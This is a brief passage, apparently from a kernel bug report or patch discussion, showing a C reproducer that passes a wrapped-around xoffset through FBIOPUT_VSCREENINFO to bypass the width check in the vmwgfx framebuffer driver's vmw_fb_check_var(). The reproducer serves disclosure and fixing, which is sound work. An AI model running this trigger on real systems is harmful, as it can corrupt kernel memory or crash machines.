Well, while

const int fd = open("/dev/fb0", O_ACCMODE);
struct fb_var_screeninfo var = { };
ioctl(fd, FBIOGET_VSCREENINFO, &var);
var.xres = var.yres = 4;
var.xoffset = 4294967292U;
ioctl(fd, FBIOPUT_VSCREENINFO, &var);

bypassed

(var->xoffset + var->xres) > par->max_width

check in vmw_fb_check_var(),
